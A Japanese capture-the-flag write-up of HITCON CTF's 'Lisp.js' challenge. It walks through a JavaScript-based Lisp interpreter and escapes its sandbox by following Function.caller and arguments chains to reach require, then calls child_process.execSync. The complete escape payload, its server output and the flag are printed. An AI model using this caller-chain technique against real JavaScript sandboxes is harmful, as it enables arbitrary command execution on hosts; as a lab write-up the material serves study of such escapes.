9/8 - 9/10という日程で開催された。TokyoWesternsと出て9位。Webが0完というのは大変くやしいし、決勝圏内である7位以内にはあと1問が解ければ入れるという状況だったことも手伝ってつらい。特にLogin SystemはNimのコードをじっくり読んでいたにもかかわらずHTTP Request Smugglingに気づけなかったというのがくやしい。くやしい、くやしい~*1! maple3142さんが作問された問題についてはすでにもろもろの情報が公開されている。添付ファイル等もそちらを参照のこと。
[Misc 342] Lisp.js (9 solves)
A brand new Lisp interpreter implemented in JavaScript!
(問題サーバへの接続情報)
添付ファイル: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz
JavaScriptで機能に制限のあるLispのインタプリタを作ったので、なんとかしてこの「サンドボックス」的なものから脱出しろという問題。以下のDockerfileを見るとわかるが、readflag
というバイナリを実行することがゴールとなる。readflag
はフラグを出力するだけのバイナリだ。
pwn.red/jail
というイメージはGitHubの redpwn/jail
にある。redpwn製のいい感じにjailを作れる便利なやつで、/srv/app/run
に配置されている実行ファイルがエントリーポイントとなる。
FROM node:20-alpine AS app WORKDIR /app COPY src/ . FROM pwn.red/jail COPY --from=app / /srv COPY ./src/run.sh /srv/app/run COPY ./readflag /srv/app/readflag RUN chmod 111 /srv/app/readflag ENV JAIL_MEM=64M JAIL_PIDS=20 JAIL_TMP_SIZE=1M
エントリーポイントである run.sh
は次の通り。Lispコードを入力すると適当な一時ファイルに保存し、main.js
にそのパスを渡し実行する。Node.jsには --disallow-code-generation-from-strings
と --disable-proto=delete
。という2つのオプションが付与されているけれども、これらはどういうものだろうか。
#!/bin/sh export PATH="$PATH:/usr/local/bin" tmpfile="$(mktemp /tmp/lisp-input.XXXXXX)" echo "Welcome to Lisp.js v0.1.0!" echo "Input your Lisp code below and I will run it." while true; do printf "> " read -r line if [ "$line" = "" ]; then break fi echo "$line" >> "$tmpfile" done node --disallow-code-generation-from-strings --disable-proto=delete main.js "$tmpfile" rm "$tmpfile"
まず --disallow-code-generation-from-strings
だけれども、Node.jsのドキュメントを見ると eval
や new Function
などによる、文字列からのコード生成を抑制するオプションであるとわかる。適当にこのオプションを付けて eval
を実行してみると、こんな感じで確かに eval
の呼び出し時に EvalError
という例外が発生していることがわかる。
この手のJSサンドボックス問は (123).constructor.constructor
で Function
にアクセスし、Function('console.log(123)')()
のようにして任意のJSコードの実行に持ち込むというのが定石というか、もっとも楽な方法なので、それが潰されてしまうのはちょっとつらい。そういうわけで、それ以外の方法でモジュールのインポート方式がCommonJSであれば process.mainModule
を、ES Modulesであれば process.binding
などにアクセスして呼びたいと考える。そのためのプロパティへのアクセスの方法が重要になる。
$ docker run --rm -it node:20-alpine --disallow-code-generation-from-strings -e 'eval("123")' [eval]:1 eval("123") ^ EvalError: Code generation from strings disallowed for this context at [eval]:1:1 at Script.runInThisContext (node:vm:122:12) at Object.runInThisContext (node:vm:298:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 at runScript (node:internal/process/execution:82:62) at evalScript (node:internal/process/execution:104:10) at node:internal/main/eval_string:50:3 Node.js v20.6.1
--disable-proto
は __proto__
の利用を制限するオプションだ。オプションの値として delete
が指定されており、__proto__
の存在が完全に抹消されていることがわかる*2。ただ、obj.constructor.prototype
で代替できるのでいまいちこのオプションの意味を感じない。obj[prop1][prop2]
のように2段以上オブジェクトのプロパティをさかのぼれないというのなら別だけれども。
main.js
は次の通り。一時ファイル経由で飛んできたLispコードを runtime.js
の lispEval
に渡している。
const { lispEval } = require('./runtime') const fs = require('fs') const code = fs.readFileSync(process.argv[2], 'utf-8') console.log(lispEval(code))
runtime.js
は次の通り。長いのでところどころ省略している。すべてを見たい場合にはmaple3142さんが上げているコードを確認のこと。lispEval
の第1引数はコードだけれども、別途第2引数としてスコープを指定することもできる。このスコープというのは序盤で定義されている Scope
のインスタンスであり、+
や print
といったシンボルを解決するために使われる。
main.js
では第2引数が指定されていなかったため、デフォルト引数として basicScope
で生成されるスコープが使われる。basicScope
では +
, -
, if
, let
, fun
といった基本的な関数が定義されている。ややJSっぽいなと感じる関数として slice
, object
, keys
, そして .
がある。前の3つはリストやJSのオブジェクトを加工するための関数で、それぞれリストのスライス、リストからオブジェクトへの Object.fromEntries
を使った変換、そしてオブジェクトに含まれるキー一覧の取得ができる。.
はオブジェクトのプロパティを取得できる便利な関数だ。
basicScope
以外にも extendedScope
というものがあり、これは basicScope
に含まれる基本的な関数のほか、Array
, Date
, Math
といったJSのオブジェクトなどなど、便利な関数を追加してくれる。しかしながら、extendedScope
はデフォルトでは使えない。
const { Tokenizer } = require('./tokenizer') const { Parser, LispSymbol } = require('./parser') class LispRuntimeError extends Error { constructor(message) { super(message) this.name = 'LispRuntimeError' } } exports.LispRuntimeError = LispRuntimeError class Scope { constructor(parent) { this.parent = parent this.table = Object.create(null) } get(name) { if (Object.prototype.hasOwnProperty.call(this.table, name)) { return this.table[name] } else if (this.parent) { return this.parent.get(name) } } set(name, value) { this.table[name] = value } } exports.Scope = Scope function astToExpr(ast) { if (typeof ast === 'number') { return function _numberexpr() { return ast } } else if (typeof ast === 'string') { return function _stringexpr() { return ast } } else if (ast instanceof LispSymbol) { return function _symbolexpr(scope) { // pass null to get the symbol itself if (scope === null) return ast const r = scope.get(ast.name) if (typeof r === 'undefined') throw new LispRuntimeError(`Undefined symbol: ${ast.name}`) return r } } else if (Array.isArray(ast)) { return function _sexpr(scope) { // pass null to get the ast function call itself if (scope === null) return ast const fn = astToExpr(ast[0])(scope) if (typeof fn !== 'function') throw new LispRuntimeError(`Unable to call a non-function: ${fn}`) return fn(ast.slice(1).map(astToExpr), scope) } } else { throw new LispRuntimeError(`Unxpexted ast: ${ast}`) } } exports.astToExpr = astToExpr function basicScope() { // we always use named function here for a better stack trace // otherwise you would see a lot of <anonymous> in the stack trace :( const scope = new Scope() scope.set('do', function _do(args, scope) { const newScope = new Scope(scope) let ret = null for (const e of args) { ret = e(newScope) newScope.set('_', ret) } return ret }) scope.set('print', function _print(args, scope) { console.log(...args.map(e => e(scope))) }) // (省略) scope.set('.', function _dot(name, scope) { const obj = name[0](scope) const prop = name[1](scope) const ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } return ret }) // (省略) scope.set('slice', function _slice(args, scope) { if (args.length !== 3) throw new LispRuntimeError('slice expects 3 arguments') const list = args[0](scope) const start = args[1](scope) const end = args[2](scope) if (!Array.isArray(list)) throw new LispRuntimeError('slice expects a list as first argument') return list.slice(start, end) }) scope.set('object', function _object(args, scope) { return Object.fromEntries(args.map(e => e(scope))) }) scope.set('keys', function _keys(args, scope) { const obj = args[0](scope) return Object.keys(obj) }) return scope } exports.basicScope = basicScope function extendedScope() { // a runtime with all the basic functions, plus some more js interop functions const scope = basicScope() scope.set('Object', Object) scope.set('Array', Array) scope.set('String', String) // (省略) } exports.extendedScope = extendedScope function lispEval(code, scope = basicScope()) { const tokens = Tokenizer.tokenize(code) const ast = Parser.parse(tokens) return astToExpr(ast)(scope) } exports.lispEval = lispEval if (require.main === module) { // (省略。サンプルコード*2) }
JSで作られた普通のLispインタプリタだ。文法や機能も .
関数やオブジェクトへの対応などJSっぽい雰囲気がある以外はごく普通だ。前述の通り readflag
という実行ファイルを実行するのがこの問題のゴールであるから、なんとかしてこの「サンドボックス」を脱出し、たとえば child_process
モジュールをインポートして execSync
などを呼んだり、process.binding
を呼んだりといったことをしたい。そのために、グローバルな this
や process
にアクセスしたいところだ。
そういうわけで、なんとかやっていきたい。まず思いつくのは(以前SECCON CTFでよく似たシチュエーションの問題が出題され、そちらで使ったのもあり) Function.prototype.caller
と Function.prototype.arguments
だった。それぞれある関数の呼び出し時に、呼び出し元の関数や渡ってきた引数へアクセスできるプロパティだ。アクセスするには呼び出されている側の関数オブジェクトにアクセスする必要があるけれども、(シンボルの解決は実行時であるため)(let f (fun (x) (f)))
のようにして自分自身にアクセスできるということが使える。次のようにして、.
を使い Function.prototype.caller
にアクセスできた。
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let f (fun (x) (. f "caller"))) (print (f 1)))> > > [Function: _sexpr] undefined
次のようにして Function.prototype.arguments
へのアクセスもできる。
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let f (fun (x) (. (. f "caller") "arguments"))) (print > (f 1)))> > [Arguments] { '0': Scope { parent: Scope { parent: undefined, table: [Object: null prototype] }, table: [Object: null prototype] { f: [Function: _runtimeDefinedFunction], _: undefined } } } undefined
caller
を辿っていくといい感じに main.js
まで戻ることができた。ここで arguments
にアクセスすると require
やモジュールが使えるはずだ。
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let x (fun () (. (. (. (. (. (. (. x "caller") "caller") "caller") "caller") "caller") "caller") "caller"))) (let res (x)) (list res (+ "" res)) )> > > > > > [ [Function (anonymous)], 'function (exports, require, module, __filename, __dirname) {\n' + "const { lispEval } = require('./runtime')\n" + "const fs = require('fs')\n" + '\n' + "const code = fs.readFileSync(process.argv[2], 'utf-8')\n" + 'console.log(lispEval(code))\n' + '\n' + '}' ]
module.children
で読み込まれたモジュール、つまり runtime.js
でエクスポートされている関数などにもアクセスできる。これを使って以下のように extendedScope
へアクセスし、呼び出すこともできた。
(do (let get_require (fun () (. (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"1"))) (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let require (get_require)) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (extendedScope) )
extendedScope
で追加される関数には以下のようなものがある。basicScope
や extendedScope
で追加されている関数の定義を見るとわかるように、Lisp側で定義された関数はいずれも呼び出し時に第1引数として引数のリストが、第2引数として Scope
オブジェクトが渡ってくる。そのため、実質的にLisp側からJS側の関数を呼び出す際には第1引数しかコントロールできないほか、第2引数が必要ない場合でも余計に Scope
オブジェクトが渡ってしまう問題がある。
j2l
と l2j
はいずれも読みづらいけれども、こういったLisp側とJS側での相互運用性をいい感じに解決してくれる関数だ。たとえば (let isArray (j2l (. Array "isArray")))
のように j2l
を通すことで、Array.isArray(hoge)
相当のことをLisp側から (isArray hoge)
でできるようになる。l2j
はその逆で、JS側からLisp側の関数を呼び出しやすくする。..
も同様に、Lisp側からJS側の関数を呼び出しやすくする関数だ。
scope.set('j2l', function _j2l(args, scope) { if (args.length !== 1) throw new LispRuntimeError('j2l expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('j2l expects a function as argument') return function _wrapperForJSFunction(fnargs, callerScope) { return fn(...fnargs.map(e => e(callerScope))) } }) scope.set('l2j', function _l2j(args, scope) { if (args.length !== 1) throw new LispRuntimeError('l2j expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('l2j expects a function as argument') return function _wrapperForLispFunction(...args) { return fn( args.map(x => () => x), scope ) } }) scope.set('..', function _dot(args, scope) { const obj = args[0](scope) const prop = args[1](scope) let ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } if (typeof ret !== 'function') { throw new LispRuntimeError(`Property ${prop} is not a function`) } return Function.prototype.bind.call(ret, obj) })
これで材料は揃った。以下のようなことをするLispコードを組み立てたい。
caller
を辿り、main.js
のrequire
とmodule
にアクセスする- 手に入れた
module
からruntime.js
のextendedScope
を手に入れ、呼び出す - 追加された
j2l
と..
を使い、require('child_process').execSync('./readflag')
相当のことをする
出来上がったのが次のLispコードだ。
(do (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (let e (extendedScope)) (let get_require (fun () (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments"))) (let .. (. (. e "table") "..")) (let j2l (. (. e "table") "j2l")) (let require_ (get_require)) (let require (j2l (.. require_ "1"))) (let child_process (require "child_process")) (let execSync (j2l (.. child_process "execSync"))) (+ (execSync "./readflag") ""))
これを問題サーバに投げると、フラグが得られた。
$ (cat payload; echo) | nc chal-lispjs.chal.hitconctf.com 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > > > > > > > > > > > > > > > > > hitcon{it_is_actually_a_node.js_jail_in_disguise!!}
そうやな。
hitcon{it_is_actually_a_node.js_jail_in_disguise!!}